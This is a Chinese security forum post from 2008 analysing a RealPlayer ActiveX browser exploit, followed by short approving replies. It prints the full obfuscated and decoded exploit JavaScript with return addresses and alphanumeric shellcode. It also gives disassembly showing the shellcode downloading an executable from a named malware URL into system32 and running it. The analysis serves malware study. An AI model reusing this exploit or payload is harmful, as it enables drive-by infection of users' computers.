首页
社区
课程
招聘
[旧帖] [原创]最近流行的realplay网马完全分析 0.00雪花
发表于: 2008-2-3 20:42 3694

[旧帖] [原创]最近流行的realplay网马完全分析 0.00雪花

2008-2-3 20:42
3694
首先是网马脚本,前一段时间分析的时候,还是免杀的,不知道现在如何了。
<sCrIpT lAnGuAgE="jAvAsCrIpT">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('W p(){X j=m.V.l();3(j.d("r 6")==-1&&j.d("r 7")==-1)h;3(j.d("R 5.")==-1)h;t="T"+"Y.I"+"Z"+"18.1";19{n=17 16(t)}Q(1a){h}a=n.N("E");2="";f=c("%F%D%B%u");g(i=0;i<y*z;i++)2+="S";3(a.d("6.0.14.")==-1){3(m.s.l()=="A-G")b=c("%O%M%e");8 3(m.s.l()=="P-1b")b=c("%15%1g%1p%e");8 h}8 3(a=="6.0.14.1r")b=c("%o%11%1q%e");8 3(a=="6.0.14.1t")b=c("%o%11%u%e");8 3(a=="6.0.14.1s")b=c("%q%v%1u%e");8 3(a=="6.0.14.1v")b=c("%q%v%1m%e");8 3(a=="6.0.14.1e")b=c("%1c%11%1n%o");8 h;3(a.d("6.0.10.")!=-1){g(i=0;i<4;i++)2=2+f;2=2+b}8 3(a.d("6.0.11.")!=-1){g(i=0;i<6;i++)2=2+f;2=2+b}8 3(a.d("6.0.12.")!=-1){g(i=0;i<9;i++)2=2+f;2=2+b}8 3(a.d("6.0.14.")!=-1){g(i=0;i<10;i++)2=2+f;2=2+b}x="H\\\\1i";w="1j";k=2+x+w;1k(k.1l<1h)k+="1d";n.1f("C:\\\\1w 1o\\\\K\\\\..\\\\..\\\\J\\\\L\\\\13.U",k,"",0,0)}p();',62,95,'||Padding|if|||||else||RealVersion|ret|unescape|indexOf|60|JmpOver|for|return||user|PayLoad|toLowerCase|navigator|Real|63|Reallaoding|79|msie|userLanguage|VulObject|04|31|dingX|dingJX|32|148|zh|74||06|PRODUCTVERSION|75|cn|LLLL||WINDOWS|NetMeeting|Media|a5|PlayerProperty|7f|en|catch|nt||IER|wav|userAgent|function|var|PCtl|ERP||||recycle||4f|ActiveXObject|new|Ctl|try|error|us|51|dingXX|536|Import|71|0x8000|XXXXXLD|TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRWQgrWTnRL0l3FSQ2LQeautnasPntorN0bQhFNPeT8Quopwp|while|length|09|70|Files|a4|08|544|552|550|01|543|Program'.split('|'),0,{}))
</script>
解密以后是:
function Reallaoding(){var user=navigator.userAgent.toLowerCase();if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)return;if(user.indexOf("nt 5.")==-1)return;VulObject="IER"+"PCtl.I"+"ERP"+"Ctl.1";try{Real=new ActiveXObject(VulObject)}catch(error){alert(0);return}RealVersion=Real.PlayerProperty("PRODUCTVERSION");Padding="";JmpOver=unescape("%75%06%74%04");for(i=0;i<32*148;i++)Padding+="S";if(RealVersion.indexOf("6.0.14.")==-1){if(navigator.userLanguage.toLowerCase()=="zh-cn")ret=unescape("%7f%a5%60");else if(navigator.userLanguage.toLowerCase()=="en-us")ret=unescape("%4f%71%a4%60");else return}else if(RealVersion=="6.0.14.544")ret=unescape("%63%11%08%60");else if(RealVersion=="6.0.14.550")ret=unescape("%63%11%04%60");else if(RealVersion=="6.0.14.552")ret=unescape("%79%31%01%60");else if(RealVersion=="6.0.14.543")ret=unescape("%79%31%09%60");else if(RealVersion=="6.0.14.536")ret=unescape("%51%11%70%63");else return;if(RealVersion.indexOf("6.0.10.")!=-1){for(i=0;i<4;i++)Padding=Padding+JmpOver;Padding=Padding+ret}else if(RealVersion.indexOf("6.0.11.")!=-1){for(i=0;i<6;i++)Padding=Padding+JmpOver;Padding=Padding+ret}else if(RealVersion.indexOf("6.0.12.")!=-1){for(i=0;i<9;i++)Padding=Padding+JmpOver;Padding=Padding+ret}else if(RealVersion.indexOf("6.0.14.")!=-1){for(i=0;i<10;i++)Padding=Padding+JmpOver;Padding=Padding+ret}dingJX="LLLL\\XXXXXLD";dingX="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRWQgrWTnRL0l3FSQ2LQeautnasPntorN0bQhFNPeT8Quopwp";PayLoad=Padding+dingJX+dingX;while(PayLoad.length<0x8000)PayLoad+="dingXX";Real.Import("C:\\Program Files\\NetMeeting\\..\\..\\WINDOWS\\Media\\recycle.wav",PayLoad,"",0,0)}Reallaoding();
PayLoad变量,就是精新构造的shellcode,Real.Import会调用ierpplug.dll,而该activeX,会查询系统中是否已经启动了realplay,如果没启动,就会以-hide和-什么来着(忘记了)参数隐藏启动realplay,并发WM_COPYDATA消息给realplay,把import函数中调用的参数全部传给realplay.
在realplay处理这些参数里,在MPAMedia.dll里会存在一处溢出。
617BFE41    8BEC            MOV EBP,ESP
617BFE43    8B45 14         MOV EAX,DWORD PTR SS:[EBP+14]
617BFE46    56              PUSH ESI
617BFE47    8B75 10         MOV ESI,DWORD PTR SS:[EBP+10]
617BFE4A    8BC8            MOV ECX,EAX
617BFE4C    8BD1            MOV EDX,ECX
617BFE4E    57              PUSH EDI
617BFE4F    8B7D 0C         MOV EDI,DWORD PTR SS:[EBP+C]
617BFE52    C1E9 02         SHR ECX,2
617BFE55    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI];没有检查DS:[ESI]大小,把堆栈占满溢出了
617BFE57    8BCA            MOV ECX,EDX
617BFE59    83E1 03         AND ECX,3
617BFE5C    F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
617BFE5E    8B4D 18         MOV ECX,DWORD PTR SS:[EBP+18]
617BFE61    5F              POP EDI
617BFE62    5E              POP ESI
617BFE63    8901            MOV DWORD PTR DS:[ECX],EAX
617BFE65    5D              POP EBP
617BFE66    C3              RETN
溢出以后,系统会跳转而执行shellcode.
0012EF8D    53              PUSH EBX
0012EF8E    53              PUSH EBX
0012EF8F    53              PUSH EBX
0012EF90    53              PUSH EBX
0012EF91    53              PUSH EBX
0012EF92    53              PUSH EBX
0012EF93    53              PUSH EBX
0012EF94    53              PUSH EBX
0012EF95    53              PUSH EBX
0012EF96    53              PUSH EBX
0012EF97    53              PUSH EBX
0012EF98    53              PUSH EBX
0012EF99    53              PUSH EBX
0012EF9A    53              PUSH EBX
0012EF9B    53              PUSH EBX
0012EF9C    75 06           JNZ SHORT 0012EFA4
0012EF9E    74 04           JE SHORT 0012EFA4
0012EFA0    75 06           JNZ SHORT 0012EFA8
0012EFA2    74 04           JE SHORT 0012EFA8
0012EFA4    75 06           JNZ SHORT 0012EFAC
0012EFA6    74 04           JE SHORT 0012EFAC
0012EFA8    75 06           JNZ SHORT 0012EFB0
0012EFAA    74 04           JE SHORT 0012EFB0
0012EFAC    75 06           JNZ SHORT 0012EFB4
0012EFAE    74 04           JE SHORT 0012EFB4
0012EFB0    75 06           JNZ SHORT 0012EFB8
0012EFB2    74 04           JE SHORT 0012EFB8
0012EFB4  ^ 7F A3           JG SHORT 0012EF59
0012EFB6    A4              MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0012EFB7    60              PUSHAD
0012EFB8    4C              DEC ESP
0012EFB9    4C              DEC ESP
0012EFBA    4C              DEC ESP
0012EFBB    4C              DEC ESP
0012EFBC    0E              PUSH CS
0012EFBD    F0:1200         LOCK ADC AL,BYTE PTR DS:[EAX]                    ; LOCK prefix
0012EFC0    41              INC ECX
0012EFC1    0000            ADD BYTE PTR DS:[EAX],AL
0012EFC3    005459 49       ADD BYTE PTR DS:[ECX+EBX*2+49],DL
0012EFC7    49              DEC ECX
0012EFC8    49              DEC ECX
0012EFC9    49              DEC ECX
0012EFCA    49              DEC ECX
0012EFCB    49              DEC ECX
0012EFCC    49              DEC ECX
0012EFCD    49              DEC ECX
0012EFCE    49              DEC ECX
0012EFCF    49              DEC ECX
0012EFD0    49              DEC ECX
0012EFD1    49              DEC ECX
0012EFD2    49              DEC ECX
0012EFD3    49              DEC ECX
0012EFD4    49              DEC ECX
0012EFD5    49              DEC ECX
0012EFD6    37              AAA
0012EFD7    51              PUSH ECX
0012EFD8    5A              POP EDX
0012EFD9    6A 41           PUSH 41
0012EFDB    58              POP EAX
0012EFDC    50              PUSH EAX
0012EFDD    3041 30         XOR BYTE PTR DS:[ECX+30],AL; 看到0012EFE1处的10了吧,原来是50,在这里和41异或成了10,这个是对加密代码进行二次加密
0012EFE0    41              INC ECX
0012EFE1    6B41 41 10      IMUL EAX,DWORD PTR DS:[ECX+41],10;从12eff6开始解密,解密方法是Alpha-Numeric,即将相邻的2个数,一个乘10即再跟另一个数异或,比如ABCD,结果是B0和CD异或的值。
0012EFE5    3241 42         XOR AL,BYTE PTR DS:[ECX+42]
0012EFE8    3242 42         XOR AL,BYTE PTR DS:[EDX+42]
0012EFEB    3042 42         XOR BYTE PTR DS:[EDX+42],AL
0012EFEE    41              INC ECX
0012EFEF    42              INC EDX
0012EFF0    58              POP EAX
0012EFF1    50              PUSH EAX
0012EFF2    3841 42         CMP BYTE PTR DS:[ECX+42],AL
0012EFF5  ^ 75 E9           JNZ SHORT 0012EFE0;解密后的值
0012EFF7    EB 10           JMP SHORT 0012F009
0012EFF9    5A              POP EDX
0012EFFA    4A              DEC EDX
0012EFFB    33C9            XOR ECX,ECX
0012EFFD    66:B9 3C01      MOV CX,13C
0012F001    80340A 66       XOR BYTE PTR DS:[EDX+ECX],66;对0012F00E后13C个字符进行解密,方法要为异或66
0012F005  ^ E2 FA           LOOPD SHORT 0012F001
0012F007    EB 05           JMP SHORT 0012F00E
0012F009    E8 EBFFFFFF     CALL 0012EFF9
0012F00E    E9 D5000000     JMP 0012F0E8
0012F013    5A              POP EDX
0012F014    64:A1 30000000  MOV EAX,DWORD PTR FS:[30];PE结构的入口
0012F01A    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]
0012F01D    8B70 1C         MOV ESI,DWORD PTR DS:[EAX+1C]
0012F020    AD              LODS DWORD PTR DS:[ESI]
0012F021    8B40 08         MOV EAX,DWORD PTR DS:[EAX+8]
0012F024    8BD8            MOV EBX,EAX
0012F026    8B73 3C         MOV ESI,DWORD PTR DS:[EBX+3C]
0012F029    8B741E 78       MOV ESI,DWORD PTR DS:[ESI+EBX+78]
0012F02D    03F3            ADD ESI,EBX
0012F02F    8B7E 20         MOV EDI,DWORD PTR DS:[ESI+20]
0012F032    03FB            ADD EDI,EBX
0012F034    8B4E 14         MOV ECX,DWORD PTR DS:[ESI+14]
0012F037    33ED            XOR EBP,EBP
0012F039    56              PUSH ESI
0012F03A    57              PUSH EDI
0012F03B    51              PUSH ECX
0012F03C    8B3F            MOV EDI,DWORD PTR DS:[EDI]
0012F03E    03FB            ADD EDI,EBX
0012F040    8BF2            MOV ESI,EDX;GetProcAddress
0012F042    6A 0E           PUSH 0E
0012F044    59              POP ECX
0012F045    F3:A6           REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI];比较API是不是要用的
0012F047    74 08           JE SHORT 0012F051
0012F049    59              POP ECX
0012F04A    5F              POP EDI
0012F04B    83C7 04         ADD EDI,4
0012F04E    45              INC EBP
0012F04F  ^ E2 E9           LOOPD SHORT 0012F03A
0012F051    59              POP ECX
0012F052    5F              POP EDI
0012F053    5E              POP ESI
0012F054    8BCD            MOV ECX,EBP
0012F056    8B46 24         MOV EAX,DWORD PTR DS:[ESI+24]
0012F059    03C3            ADD EAX,EBX
0012F05B    D1E1            SHL ECX,1
0012F05D    03C1            ADD EAX,ECX
0012F05F    33C9            XOR ECX,ECX
0012F061    66:8B08         MOV CX,WORD PTR DS:[EAX]
0012F064    8B46 1C         MOV EAX,DWORD PTR DS:[ESI+1C]
0012F067    03C3            ADD EAX,EBX
0012F069    C1E1 02         SHL ECX,2
0012F06C    03C1            ADD EAX,ECX
0012F06E    8B00            MOV EAX,DWORD PTR DS:[EAX]
0012F070    03C3            ADD EAX,EBX
0012F072    8BFA            MOV EDI,EDX
0012F074    8BF7            MOV ESI,EDI
0012F076    83C6 0E         ADD ESI,0E
0012F079    8BD0            MOV EDX,EAX;真正kernel32.GetProcAddress地址
0012F07B    6A 04           PUSH 4
0012F07D    59              POP ECX
0012F07E    E8 50000000     CALL 0012F0D3;取得4个API,GetSystemDirectoryA,WinExec,ExitThread,LoadLibraryA的地址
0012F083    83C6 0D         ADD ESI,0D
0012F086    52              PUSH EDX
0012F087    56              PUSH ESI
0012F088    FF57 FC         CALL DWORD PTR DS:[EDI-4];LoadLibrary("urlmon")
0012F08B    5A              POP EDX
0012F08C    8BD8            MOV EBX,EAX
0012F08E    6A 01           PUSH 1
0012F090    59              POP ECX
0012F091    E8 3D000000     CALL 0012F0D3;到得从urlmon.dll中函数URLDownloadToFileA地址
0012F096    83C6 13         ADD ESI,13
0012F099    56              PUSH ESI
0012F09A    46              INC ESI
0012F09B    803E 80         CMP BYTE PTR DS:[ESI],80
0012F09E  ^ 75 FA           JNZ SHORT 0012F09A
0012F0A0    8036 80         XOR BYTE PTR DS:[ESI],80;把网马网址尾部的80改成00,结果是http://www.llvalue.cn/nbx.exe
0012F0A3    5E              POP ESI
0012F0A4    83EC 20         SUB ESP,20
0012F0A7    8BDC            MOV EBX,ESP
0012F0A9    6A 20           PUSH 20
0012F0AB    53              PUSH EBX
0012F0AC    FF57 EC         CALL DWORD PTR DS:[EDI-14];GetSystemDirectoryA
0012F0AF    C70403 5C612E65 MOV DWORD PTR DS:[EBX+EAX],652E615C
0012F0B6    C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578;本地的路径c:\windws\system32\a.exe
0012F0BE    33C0            XOR EAX,EAX
0012F0C0    50              PUSH EAX
0012F0C1    50              PUSH EAX
0012F0C2    53              PUSH EBX
0012F0C3    56              PUSH ESI
0012F0C4    50              PUSH EAX
0012F0C5    FF57 FC         CALL DWORD PTR DS:[EDI-4];执行URLDownloadToFileA
0012F0C8    8BDC            MOV EBX,ESP
0012F0CA    50              PUSH EAX
0012F0CB    53              PUSH EBX
0012F0CC    FF57 F0         CALL DWORD PTR DS:[EDI-10];执行WinExec运行网马
0012F0CF    50              PUSH EAX
0012F0D0    FF57 F4         CALL DWORD PTR DS:[EDI-C];ExitThread
0012F0D3    33C0            XOR EAX,EAX
0012F0D5    AC              LODS BYTE PTR DS:[ESI]
0012F0D6    85C0            TEST EAX,EAX
0012F0D8  ^ 75 F9           JNZ SHORT 0012F0D3
0012F0DA    51              PUSH ECX
0012F0DB    52              PUSH EDX
0012F0DC    56              PUSH ESI
0012F0DD    53              PUSH EBX
0012F0DE    FFD2            CALL EDX
0012F0E0    5A              POP EDX
0012F0E1    59              POP ECX
0012F0E2    AB              STOS DWORD PTR ES:[EDI]
0012F0E3  ^ E2 EE           LOOPD SHORT 0012F0D3
0012F0E5    33C0            XOR EAX,EAX
0012F0E7    C3              RETN
0012F0E8    E8 26FFFFFF     CALL 0012F013
0012F0ED    47              INC EDI
0012F0EE    65:74 50        JE SHORT 0012F141                                ; Superfluous prefix
0012F0F1    72 6F           JB SHORT 0012F162
0012F0F3    6341 64         ARPL DWORD PTR DS:[ECX+64],EAX
0012F0F6    64:72 65        JB SHORT 0012F15E                                ; Superfluous prefix
0012F0F9    73 73           JNB SHORT 0012F16E
0012F0FB    0047 65         ADD BYTE PTR DS:[EDI+65],AL
0012F0FE    74 53           JE SHORT 0012F153
0012F100    79 73           JNS SHORT 0012F175
0012F102    74 65           JE SHORT 0012F169
0012F104    6D              INS DWORD PTR ES:[EDI],DX                        ; I/O command
0012F105    44              INC ESP
0012F106    6972 65 63746F7>IMUL ESI,DWORD PTR DS:[EDX+65],726F7463
0012F10D    79 41           JNS SHORT 0012F150
0012F10F    0057 69         ADD BYTE PTR DS:[EDI+69],DL
0012F112    6E              OUTS DX,BYTE PTR ES:[EDI]                        ; I/O command
0012F113    45              INC EBP
0012F114    78 65           JS SHORT 0012F17B
0012F116    6300            ARPL DWORD PTR DS:[EAX],EAX
0012F118    45              INC EBP
0012F119    78 69           JS SHORT 0012F184
0012F11B    74 54           JE SHORT 0012F171
0012F11D    68 72656164     PUSH 64616572
0012F122    004C6F 61       ADD BYTE PTR DS:[EDI+EBP*2+61],CL
0012F126    64:4C           DEC ESP                                          ; Superfluous prefix
0012F128    6962 72 6172794>IMUL ESP,DWORD PTR DS:[EDX+72],41797261
0012F12F    0075 72         ADD BYTE PTR SS:[EBP+72],DH
0012F132    6C              INS BYTE PTR ES:[EDI],DX                         ; I/O command
0012F133    6D              INS DWORD PTR ES:[EDI],DX                        ; I/O command
0012F134    6F              OUTS DX,DWORD PTR ES:[EDI]                       ; I/O command
0012F135    6E              OUTS DX,BYTE PTR ES:[EDI]                        ; I/O command
0012F136    0055 52         ADD BYTE PTR SS:[EBP+52],DL
0012F139    4C              DEC ESP
0012F13A    44              INC ESP
0012F13B    6F              OUTS DX,DWORD PTR ES:[EDI]                       ; I/O command
0012F13C    77 6E           JA SHORT 0012F1AC
0012F13E    6C              INS BYTE PTR ES:[EDI],DX                         ; I/O command
0012F13F    6F              OUTS DX,DWORD PTR ES:[EDI]                       ; I/O command
0012F140    61              POPAD
0012F141    64:54           PUSH ESP                                         ; Superfluous prefix
0012F143    6F              OUTS DX,DWORD PTR ES:[EDI]                       ; I/O command
0012F144    46              INC ESI
0012F145    696C65 41 00687>IMUL EBP,DWORD PTR SS:[EBP+41],74746800
0012F14D    70 3A           JO SHORT 0012F189
0012F14F    2F              DAS
0012F150    2F              DAS
0012F151    77 77           JA SHORT 0012F1CA
0012F153    77 2E           JA SHORT 0012F183
0012F155    6C              INS BYTE PTR ES:[EDI],DX                         ; I/O command
0012F156    6C              INS BYTE PTR ES:[EDI],DX                         ; I/O command
0012F157    76 61           JBE SHORT 0012F1BA
0012F159    6C              INS BYTE PTR ES:[EDI],DX                         ; I/O command
0012F15A    75 65           JNZ SHORT 0012F1C1
0012F15C    2E:636E 2F      ARPL DWORD PTR CS:[ESI+2F],EBP
0012F160    6E              OUTS DX,BYTE PTR ES:[EDI]                        ; I/O command
0012F161    6278 2E         BOUND EDI,QWORD PTR DS:[EAX+2E]
0012F164    65:78 65        JS SHORT 0012F1CC                                ; Superfluous prefix
0012F167    8000 29         ADD BYTE PTR DS:[EAX],29
从shellcode可以看出,首先对加密代码进行二次加密,然后用Alpha-Numeric进行加密,最后是用异或进行加密,一共三层加密,让代码完全逃脱各类杀软件的追杀。这里让我想到了一句话,流氓不可怕,就怕流氓有文化。:ohh:

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错,学习!
2008-2-5 10:55
0
雪    币: 609
活跃值: (237)
能力值: ( LV12,RANK:441 )
在线值:
发帖
回帖
粉丝
3
Thanks for share..... Learning ...
2008-2-5 11:07
0
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很强大。。。三层加密啊
2008-2-5 11:09
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
5
哈哈,流氓不可怕,就怕流氓有文化,精彩!
2008-2-5 12:26
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
是啊,這個加密的三層,可以逃脫,,
2008-2-5 13:55
0
游客
登录 | 注册 方可回帖
返回
//